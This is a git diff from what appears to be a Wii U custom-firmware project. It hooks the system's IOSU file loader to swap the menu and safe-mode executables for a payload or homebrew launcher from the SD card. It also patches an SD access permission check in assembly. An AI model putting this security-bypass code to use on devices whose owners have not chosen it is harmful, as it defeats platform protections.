wupserver_init();
|
wupserver_init();
|
||||||
ipc_init();
|
ipc_init();
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void patch_SD_access_check(void) {
|
||||||
|
__asm__ volatile(
|
||||||
|
".thumb\n"
|
||||||
|
//clobbered instructions
|
||||||
|
"add r0, r7, r2\n"
|
||||||
|
//app.permissions.r2.mask seems to be 0xFFFFFFFFFFFFFFFF for every application
|
||||||
|
"ldr r1, =0x32\n"
|
||||||
|
"sub r3, r3, #7\n"
|
||||||
|
"strb r1, [r3]\n"
|
||||||
|
//this instruction was also clobbered but we use r1 so we do it after our patch stuff
|
||||||
|
"movs r1, #0\n"
|
||||||
|
"bx lr");
|
||||||
|
}
|
@ -18,6 +18,8 @@
|
|||||||
|
|
||||||
#include "logger.h"
|
#include "logger.h"
|
||||||
#include "ipc_types.h"
|
#include "ipc_types.h"
|
||||||
|
#include "fsa.h"
|
||||||
|
#include "svc.h"
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
|
||||||
typedef enum {
|
typedef enum {
|
||||||
@ -53,7 +55,7 @@ int (*const MCP_DoLoadFile)(const char* path, const char* path2, void* outputBuf
|
|||||||
int (*const MCP_UnknownStuff)(const char* path, u32 pos, void* outputBuffer, u32 outLength, u32 outLength2, u32 unk) = (void*)0x05014CAC + 1;
|
int (*const MCP_UnknownStuff)(const char* path, u32 pos, void* outputBuffer, u32 outLength, u32 outLength2, u32 unk) = (void*)0x05014CAC + 1;
|
||||||
|
|
||||||
static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* request);
|
static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* request);
|
||||||
static bool replacerpx = false;
|
static bool skipPPCSetup = false;
|
||||||
static bool didrpxfirstchunk = false;
|
static bool didrpxfirstchunk = false;
|
||||||
static char rpxpath[0x280];
|
static char rpxpath[0x280];
|
||||||
|
|
||||||
@ -74,11 +76,11 @@ int _MCP_LoadFile_patch(ipcmessage* msg) {
|
|||||||
log("msg->ioctl.buffer_io = %p, msg->ioctl.length_io = 0x%X\n", msg->ioctl.buffer_io, msg->ioctl.length_io);
|
log("msg->ioctl.buffer_io = %p, msg->ioctl.length_io = 0x%X\n", msg->ioctl.buffer_io, msg->ioctl.length_io);
|
||||||
log("request->type = %d, request->pos = %d, request->name = \"%s\"\n", request->type, request->pos, request->name);
|
log("request->type = %d, request->pos = %d, request->name = \"%s\"\n", request->type, request->pos, request->name);
|
||||||
|
|
||||||
if (request->type == LOAD_FILE_CAFE_OS &&
|
/*if (request->type == LOAD_FILE_CAFE_OS &&
|
||||||
request->name[0] == '*') {
|
request->name[0] == '*') {
|
||||||
char path[0x40];
|
char path[0x40];
|
||||||
|
|
||||||
/* Translate request->name to a path by replacing * with / */
|
// Translate request->name to a path by replacing * with /
|
||||||
for (int i = 0; i < 0x40; ++i) {
|
for (int i = 0; i < 0x40; ++i) {
|
||||||
if (request->name[i] == '*') {
|
if (request->name[i] == '*') {
|
||||||
path[i] = '/';
|
path[i] = '/';
|
||||||
@ -89,35 +91,82 @@ int _MCP_LoadFile_patch(ipcmessage* msg) {
|
|||||||
|
|
||||||
int result = MCP_LoadCustomFile(path, msg, request);
|
int result = MCP_LoadCustomFile(path, msg, request);
|
||||||
if (result >= 0) return result;
|
if (result >= 0) return result;
|
||||||
} else if (replacerpx) {
|
}*/
|
||||||
/* RPX replacement!
|
/* RPX replacement!
|
||||||
Only replace this chunk if:
|
|
||||||
- replacerpx is true (replace the next rpx to be loaded)
|
|
||||||
- this file is an rpx
|
|
||||||
and either of the following:
|
|
||||||
- we haven't read the first chunk yet
|
|
||||||
- this is not the first chunk
|
|
||||||
|
|
||||||
The goal here is only to replace an rpx once. Reading at pos = 0 signifies a
|
The goal here is only to replace an rpx once. Reading at pos = 0 signifies a
|
||||||
new rpx load - these conditions detect that. */
|
new rpx load - these conditions detect that. */
|
||||||
char* extension = request->name + strlen(request->name) - 3;
|
|
||||||
if (extension[0] == 'r' &&
|
|
||||||
extension[1] == 'p' &&
|
|
||||||
extension[2] == 'x') {
|
|
||||||
|
|
||||||
if (!didrpxfirstchunk || request->pos > 0) {
|
if (request->name[0] == 'm' &&
|
||||||
int result = MCP_LoadCustomFile(rpxpath, msg, request);
|
request->name[1] == 'e' &&
|
||||||
if (result >= 0) {
|
request->name[2] == 'n' &&
|
||||||
if (request->pos == 0) didrpxfirstchunk = true;
|
request->name[3] == '.' &&
|
||||||
return result;
|
request->name[4] == 'r' &&
|
||||||
|
request->name[5] == 'p' &&
|
||||||
|
request->name[6] == 'x'
|
||||||
|
&& rpxpath[0] != 'd'
|
||||||
|
&& !skipPPCSetup){
|
||||||
|
int fsa_h = svcOpen("/dev/fsa", 0);
|
||||||
|
FSA_Unmount(fsa_h, "/vol/storage_iosu_homebrew", 2);
|
||||||
|
FSA_Mount(fsa_h, "/dev/sdcard01", "/vol/storage_iosu_homebrew", 2, NULL, 0);
|
||||||
|
svcClose(fsa_h);
|
||||||
|
|
||||||
|
char * f_path = "/vol/storage_iosu_homebrew/wiiu/payload.rpx";;
|
||||||
|
|
||||||
|
int result = MCP_LoadCustomFile(f_path, msg, request);
|
||||||
|
|
||||||
|
if (result >= 0) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}else if (request->name[0] == 's' &&
|
||||||
|
request->name[1] == 'a' &&
|
||||||
|
request->name[2] == 'f' &&
|
||||||
|
request->name[3] == 'e' &&
|
||||||
|
request->name[4] == '.' &&
|
||||||
|
request->name[5] == 'r' &&
|
||||||
|
request->name[6] == 'p' &&
|
||||||
|
request->name[7] == 'x'){
|
||||||
|
|
||||||
|
char * final_path = rpxpath;
|
||||||
|
|
||||||
|
if(rpxpath[0] == '\0') {
|
||||||
|
final_path = "/vol/storage_iosu_homebrew/wiiu/apps/homebrew_launcher/homebrew_launcher.rpx";
|
||||||
|
if (request->pos == 0){
|
||||||
|
didrpxfirstchunk = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char* extension = request->name + strlen(request->name) - 4;
|
||||||
|
if( extension[0] == '.' &&
|
||||||
|
extension[1] == 'r' &&
|
||||||
|
extension[2] == 'p' &&
|
||||||
|
extension[3] == 'x') {
|
||||||
|
if(final_path != NULL){
|
||||||
|
if (!didrpxfirstchunk || request->pos > 0) {
|
||||||
|
int fsa_h = svcOpen("/dev/fsa", 0);
|
||||||
|
FSA_Unmount(fsa_h, "/vol/storage_iosu_homebrew", 2);
|
||||||
|
FSA_Mount(fsa_h, "/dev/sdcard01", "/vol/storage_iosu_homebrew", 2, NULL, 0);
|
||||||
|
svcClose(fsa_h);
|
||||||
|
|
||||||
|
int result = MCP_LoadCustomFile(final_path, msg, request);
|
||||||
|
|
||||||
|
rpxpath[0] = '\0';
|
||||||
|
if (result >= 0) {
|
||||||
|
if (request->pos == 0) didrpxfirstchunk = true;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
/* This is the second time reading the first chunk of an rpx.
|
|
||||||
Therefore we have already replaced the rpx we were asked to. */
|
|
||||||
replacerpx = false;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (rpxpath[0] == 'd' &&
|
||||||
|
rpxpath[1] == 'o' &&
|
||||||
|
rpxpath[2] == 'n' &&
|
||||||
|
rpxpath[3] == 'e'){
|
||||||
|
skipPPCSetup = true;
|
||||||
|
rpxpath[0] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
return real_MCP_LoadFile(msg);
|
return real_MCP_LoadFile(msg);
|
||||||
}
|
}
|
||||||
@ -125,10 +174,18 @@ int _MCP_LoadFile_patch(ipcmessage* msg) {
|
|||||||
static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* request) {
|
static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* request) {
|
||||||
log("Load custom path \"%s\"\n", path);
|
log("Load custom path \"%s\"\n", path);
|
||||||
|
|
||||||
/* TODO: If this fails, try last argument as 1 */
|
int filesize = 0;
|
||||||
|
int fileoffset = 0;
|
||||||
|
|
||||||
|
if(filesize > 0 && (request->pos + fileoffset > filesize)){
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* TODO: If this fails, try last argument as 1 */
|
||||||
int bytesRead = 0;
|
int bytesRead = 0;
|
||||||
int result = MCP_DoLoadFile(path, NULL, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos, &bytesRead, 0);
|
int result = MCP_DoLoadFile(path, NULL, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos + fileoffset, &bytesRead, 0);
|
||||||
log("MCP_DoLoadFile returned %d, bytesRead = %d\n", result, bytesRead);
|
log("MCP_DoLoadFile returned %d, bytesRead = %d pos %d \n", result, bytesRead, request->pos + fileoffset);
|
||||||
|
|
||||||
|
|
||||||
if (result >= 0) {
|
if (result >= 0) {
|
||||||
if (!bytesRead) {
|
if (!bytesRead) {
|
||||||
@ -136,10 +193,13 @@ static int MCP_LoadCustomFile(char* path, ipcmessage* msg, MCPLoadFileRequest* r
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* TODO: If this fails, try last argument as 1 */
|
/* TODO: If this fails, try last argument as 1 */
|
||||||
result = MCP_UnknownStuff(path, request->pos, msg->ioctl.buffer_io, msg->ioctl.length_io, msg->ioctl.length_io, 0);
|
result = MCP_UnknownStuff(path, request->pos + fileoffset, msg->ioctl.buffer_io, msg->ioctl.length_io, msg->ioctl.length_io, 0);
|
||||||
log("MCP_UnknownStuff returned %d\n", result);
|
log("MCP_UnknownStuff returned %d\n", result);
|
||||||
|
|
||||||
if (result >= 0) {
|
if (result >= 0) {
|
||||||
|
if(filesize > 0 && (bytesRead + request->pos > filesize)){
|
||||||
|
return filesize - request->pos;
|
||||||
|
}
|
||||||
return bytesRead;
|
return bytesRead;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -158,10 +218,10 @@ int _MCP_ioctl100_patch(ipcmessage* msg) {
|
|||||||
FAIL_ON(!msg->ioctl.length_in, 0);
|
FAIL_ON(!msg->ioctl.length_in, 0);
|
||||||
FAIL_ON(msg->ioctl.length_in > sizeof(rpxpath) - 1, msg->ioctl.length_in);
|
FAIL_ON(msg->ioctl.length_in > sizeof(rpxpath) - 1, msg->ioctl.length_in);
|
||||||
|
|
||||||
strncpy(rpxpath, (const char*)msg->ioctl.buffer_in, sizeof(rpxpath) - 1);
|
memset(rpxpath,0,sizeof(rpxpath));
|
||||||
rpxpath[sizeof(rpxpath) - 1] = '\0';
|
strncpy(rpxpath, (const char*)msg->ioctl.buffer_in, msg->ioctl.length_in);
|
||||||
|
//rpxpath[strlen(rpxpath)] = '\0';
|
||||||
|
|
||||||
replacerpx = true;
|
|
||||||
didrpxfirstchunk = false;
|
didrpxfirstchunk = false;
|
||||||
|
|
||||||
log("Will load %s for next title\n", rpxpath);
|
log("Will load %s for next title\n", rpxpath);
|
||||||
|
BIN
libs/libc.a
BIN
libs/libc.a
Binary file not shown.
BIN
libs/libgcc.a
BIN
libs/libgcc.a
Binary file not shown.
325
mocha.cbp
325
mocha.cbp
@ -1,325 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
|
|
||||||
<CodeBlocks_project_file>
|
|
||||||
<FileVersion major="1" minor="6" />
|
|
||||||
<Project>
|
|
||||||
<Option title="mocha" />
|
|
||||||
<Option makefile_is_custom="1" />
|
|
||||||
<Option pch_mode="2" />
|
|
||||||
<Option compiler="ppc-gcc" />
|
|
||||||
<Build>
|
|
||||||
<Target title="build">
|
|
||||||
<Option output="bin/Release/mocha" prefix_auto="1" extension_auto="1" />
|
|
||||||
<Option object_output="obj/Release/" />
|
|
||||||
<Option type="1" />
|
|
||||||
<Option compiler="ppc-gcc" />
|
|
||||||
<Compiler>
|
|
||||||
<Add option="-O2" />
|
|
||||||
</Compiler>
|
|
||||||
<MakeCommands>
|
|
||||||
<Build command="make" />
|
|
||||||
<CompileFile command="$make -f $makefile $file" />
|
|
||||||
<Clean command="$make -f $makefile clean$target" />
|
|
||||||
<DistClean command="$make -f $makefile distclean$target" />
|
|
||||||
<AskRebuildNeeded command="$make -q -f $makefile $target" />
|
|
||||||
<SilentBuild command="make > $(CMD_NULL)" />
|
|
||||||
</MakeCommands>
|
|
||||||
</Target>
|
|
||||||
</Build>
|
|
||||||
<Compiler>
|
|
||||||
<Add option="-Wall" />
|
|
||||||
</Compiler>
|
|
||||||
<Unit filename="build/cfw_config.d" />
|
|
||||||
<Unit filename="build/entry.d" />
|
|
||||||
<Unit filename="build/exception_handler.d" />
|
|
||||||
<Unit filename="build/fs_functions.d" />
|
|
||||||
<Unit filename="build/fs_utils.d" />
|
|
||||||
<Unit filename="build/gx2_functions.d" />
|
|
||||||
<Unit filename="build/ios_exploit.d" />
|
|
||||||
<Unit filename="build/logger.d" />
|
|
||||||
<Unit filename="build/main.d" />
|
|
||||||
<Unit filename="build/memory.d" />
|
|
||||||
<Unit filename="build/menu.d" />
|
|
||||||
<Unit filename="build/os_functions.d" />
|
|
||||||
<Unit filename="build/sd_fat_devoptab.d" />
|
|
||||||
<Unit filename="build/socket_functions.d" />
|
|
||||||
<Unit filename="build/sys_functions.d" />
|
|
||||||
<Unit filename="build/vpad_functions.d" />
|
|
||||||
<Unit filename="ios_bsp/build/fsa.d" />
|
|
||||||
<Unit filename="ios_bsp/build/seeprom.d" />
|
|
||||||
<Unit filename="ios_bsp/build/seeprom_asm.d" />
|
|
||||||
<Unit filename="ios_bsp/build/svc.d" />
|
|
||||||
<Unit filename="ios_bsp/ios_bsp.bin.h" />
|
|
||||||
<Unit filename="ios_bsp/ios_bsp_syms.h" />
|
|
||||||
<Unit filename="ios_bsp/source/fsa.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_bsp/source/fsa.h" />
|
|
||||||
<Unit filename="ios_bsp/source/seeprom.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_bsp/source/seeprom_asm.s" />
|
|
||||||
<Unit filename="ios_bsp/source/svc.h" />
|
|
||||||
<Unit filename="ios_bsp/source/svc.s" />
|
|
||||||
<Unit filename="ios_bsp/source/types.h" />
|
|
||||||
<Unit filename="ios_fs/build/devices.d" />
|
|
||||||
<Unit filename="ios_fs/build/dumper.d" />
|
|
||||||
<Unit filename="ios_fs/build/fat32_format.d" />
|
|
||||||
<Unit filename="ios_fs/build/font.d" />
|
|
||||||
<Unit filename="ios_fs/build/function_hooks.d" />
|
|
||||||
<Unit filename="ios_fs/build/main.d" />
|
|
||||||
<Unit filename="ios_fs/build/mlcio.d" />
|
|
||||||
<Unit filename="ios_fs/build/sdio.d" />
|
|
||||||
<Unit filename="ios_fs/build/svc.d" />
|
|
||||||
<Unit filename="ios_fs/build/text.d" />
|
|
||||||
<Unit filename="ios_fs/ios_fs.bin.h" />
|
|
||||||
<Unit filename="ios_fs/ios_fs_syms.h" />
|
|
||||||
<Unit filename="ios_fs/source/devices.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/devices.h" />
|
|
||||||
<Unit filename="ios_fs/source/dumper.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/dumper.h" />
|
|
||||||
<Unit filename="ios_fs/source/fat32_format.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/fat32_format.h" />
|
|
||||||
<Unit filename="ios_fs/source/font.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/font_bin.h" />
|
|
||||||
<Unit filename="ios_fs/source/function_hooks.s" />
|
|
||||||
<Unit filename="ios_fs/source/hardware_registers.h" />
|
|
||||||
<Unit filename="ios_fs/source/imports.h" />
|
|
||||||
<Unit filename="ios_fs/source/main.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/mlcio.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/mlcio.h" />
|
|
||||||
<Unit filename="ios_fs/source/sdio.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/sdio.h" />
|
|
||||||
<Unit filename="ios_fs/source/svc.h" />
|
|
||||||
<Unit filename="ios_fs/source/svc.s" />
|
|
||||||
<Unit filename="ios_fs/source/text.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_fs/source/text.h" />
|
|
||||||
<Unit filename="ios_fs/source/types.h" />
|
|
||||||
<Unit filename="ios_kernel/build/crt0.d" />
|
|
||||||
<Unit filename="ios_kernel/build/elf_patcher.d" />
|
|
||||||
<Unit filename="ios_kernel/build/exception_handler.d" />
|
|
||||||
<Unit filename="ios_kernel/build/fsa.d" />
|
|
||||||
<Unit filename="ios_kernel/build/instant_patches.d" />
|
|
||||||
<Unit filename="ios_kernel/build/ios_bsp_patches.d" />
|
|
||||||
<Unit filename="ios_kernel/build/ios_fs_patches.d" />
|
|
||||||
<Unit filename="ios_kernel/build/ios_fs_patches_asm.d" />
|
|
||||||
<Unit filename="ios_kernel/build/ios_mcp_patches.d" />
|
|
||||||
<Unit filename="ios_kernel/build/ios_mcp_patches_asm.d" />
|
|
||||||
<Unit filename="ios_kernel/build/kernel_patches.d" />
|
|
||||||
<Unit filename="ios_kernel/build/kernel_patches_asm.d" />
|
|
||||||
<Unit filename="ios_kernel/build/main.d" />
|
|
||||||
<Unit filename="ios_kernel/build/redirection_setup.d" />
|
|
||||||
<Unit filename="ios_kernel/build/text.d" />
|
|
||||||
<Unit filename="ios_kernel/build/utils.d" />
|
|
||||||
<Unit filename="ios_kernel/ios_kernel.bin.h" />
|
|
||||||
<Unit filename="ios_kernel/ios_kernel_syms.h" />
|
|
||||||
<Unit filename="ios_kernel/source/config.h" />
|
|
||||||
<Unit filename="ios_kernel/source/crt0.s" />
|
|
||||||
<Unit filename="ios_kernel/source/elf_abi.h" />
|
|
||||||
<Unit filename="ios_kernel/source/elf_patcher.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/elf_patcher.h" />
|
|
||||||
<Unit filename="ios_kernel/source/exception_handler.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/exception_handler.h" />
|
|
||||||
<Unit filename="ios_kernel/source/font_bin.h" />
|
|
||||||
<Unit filename="ios_kernel/source/fsa.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/fsa.h" />
|
|
||||||
<Unit filename="ios_kernel/source/instant_patches.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/instant_patches.h" />
|
|
||||||
<Unit filename="ios_kernel/source/ios_bsp_patches.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/ios_bsp_patches.h" />
|
|
||||||
<Unit filename="ios_kernel/source/ios_fs_patches.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/ios_fs_patches.h" />
|
|
||||||
<Unit filename="ios_kernel/source/ios_fs_patches_asm.s" />
|
|
||||||
<Unit filename="ios_kernel/source/ios_mcp_patches.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/ios_mcp_patches.h" />
|
|
||||||
<Unit filename="ios_kernel/source/ios_mcp_patches_asm.s" />
|
|
||||||
<Unit filename="ios_kernel/source/kernel_patches.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/kernel_patches.h" />
|
|
||||||
<Unit filename="ios_kernel/source/kernel_patches_asm.s" />
|
|
||||||
<Unit filename="ios_kernel/source/main.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/redirection_setup.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/redirection_setup.h" />
|
|
||||||
<Unit filename="ios_kernel/source/text.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/text.h" />
|
|
||||||
<Unit filename="ios_kernel/source/types.h" />
|
|
||||||
<Unit filename="ios_kernel/source/utils.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_kernel/source/utils.h" />
|
|
||||||
<Unit filename="ios_mcp/build/crt0.d" />
|
|
||||||
<Unit filename="ios_mcp/build/font.d" />
|
|
||||||
<Unit filename="ios_mcp/build/fsa.d" />
|
|
||||||
<Unit filename="ios_mcp/build/imports.d" />
|
|
||||||
<Unit filename="ios_mcp/build/ipc.d" />
|
|
||||||
<Unit filename="ios_mcp/build/logger.d" />
|
|
||||||
<Unit filename="ios_mcp/build/main.d" />
|
|
||||||
<Unit filename="ios_mcp/build/net_ifmgr_ncl.d" />
|
|
||||||
<Unit filename="ios_mcp/build/socket.d" />
|
|
||||||
<Unit filename="ios_mcp/build/svc.d" />
|
|
||||||
<Unit filename="ios_mcp/build/text.d" />
|
|
||||||
<Unit filename="ios_mcp/ios_mcp.bin.h" />
|
|
||||||
<Unit filename="ios_mcp/ios_mcp_syms.h" />
|
|
||||||
<Unit filename="ios_mcp/source/crt0.s" />
|
|
||||||
<Unit filename="ios_mcp/source/font.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/font_bin.h" />
|
|
||||||
<Unit filename="ios_mcp/source/fsa.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/fsa.h" />
|
|
||||||
<Unit filename="ios_mcp/source/imports.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/imports.h" />
|
|
||||||
<Unit filename="ios_mcp/source/ipc.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/ipc.h" />
|
|
||||||
<Unit filename="ios_mcp/source/ipc_types.h" />
|
|
||||||
<Unit filename="ios_mcp/source/logger.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/logger.h" />
|
|
||||||
<Unit filename="ios_mcp/source/main.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/net_ifmgr_ncl.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/net_ifmgr_ncl.h" />
|
|
||||||
<Unit filename="ios_mcp/source/socket.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/socket.h" />
|
|
||||||
<Unit filename="ios_mcp/source/svc.h" />
|
|
||||||
<Unit filename="ios_mcp/source/svc.s" />
|
|
||||||
<Unit filename="ios_mcp/source/text.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="ios_mcp/source/text.h" />
|
|
||||||
<Unit filename="ios_mcp/source/types.h" />
|
|
||||||
<Unit filename="ios_usb/build/crt0.d" />
|
|
||||||
<Unit filename="ios_usb/build/main.d" />
|
|
||||||
<Unit filename="ios_usb/ios_usb.bin.h" />
|
|
||||||
<Unit filename="ios_usb/ios_usb_syms.h" />
|
|
||||||
<Unit filename="ios_usb/source/crt0.s" />
|
|
||||||
<Unit filename="ios_usb/source/main.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/cfw_config.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/cfw_config.h" />
|
|
||||||
<Unit filename="src/common/common.h" />
|
|
||||||
<Unit filename="src/common/fs_defs.h" />
|
|
||||||
<Unit filename="src/common/os_defs.h" />
|
|
||||||
<Unit filename="src/common/types.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/fs_defs.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/fs_functions.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/dynamic_libs/fs_functions.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/gx2_functions.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/dynamic_libs/gx2_functions.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/gx2_types.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/os_functions.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/dynamic_libs/os_functions.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/os_types.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/socket_functions.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/dynamic_libs/socket_functions.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/sys_functions.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/dynamic_libs/sys_functions.h" />
|
|
||||||
<Unit filename="src/dynamic_libs/vpad_functions.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/dynamic_libs/vpad_functions.h" />
|
|
||||||
<Unit filename="src/entry.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/fs/fs_utils.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/fs/fs_utils.h" />
|
|
||||||
<Unit filename="src/fs/sd_fat_devoptab.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/fs/sd_fat_devoptab.h" />
|
|
||||||
<Unit filename="src/ios_exploit.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/ios_exploit.h" />
|
|
||||||
<Unit filename="src/main.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/main.h" />
|
|
||||||
<Unit filename="src/menu.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/menu.h" />
|
|
||||||
<Unit filename="src/system/exception_handler.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/system/exception_handler.h" />
|
|
||||||
<Unit filename="src/system/memory.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/system/memory.h" />
|
|
||||||
<Unit filename="src/utils/logger.c">
|
|
||||||
<Option compilerVar="CC" />
|
|
||||||
</Unit>
|
|
||||||
<Unit filename="src/utils/logger.h" />
|
|
||||||
<Unit filename="src/utils/utils.h" />
|
|
||||||
<Extensions>
|
|
||||||
<code_completion />
|
|
||||||
<envvars />
|
|
||||||
<debugger />
|
|
||||||
<lib_finder disable_auto="1" />
|
|
||||||
</Extensions>
|
|
||||||
</Project>
|
|
||||||
</CodeBlocks_project_file>
|
|
152
src/cfw_config.c
152
src/cfw_config.c
@ -1,152 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdarg.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <malloc.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include "cfw_config.h"
|
|
||||||
#include "fs/fs_utils.h"
|
|
||||||
|
|
||||||
static int split_string(const char *string, char splitChar, char *left, char *right, int size)
|
|
||||||
{
|
|
||||||
int cnt = 0;
|
|
||||||
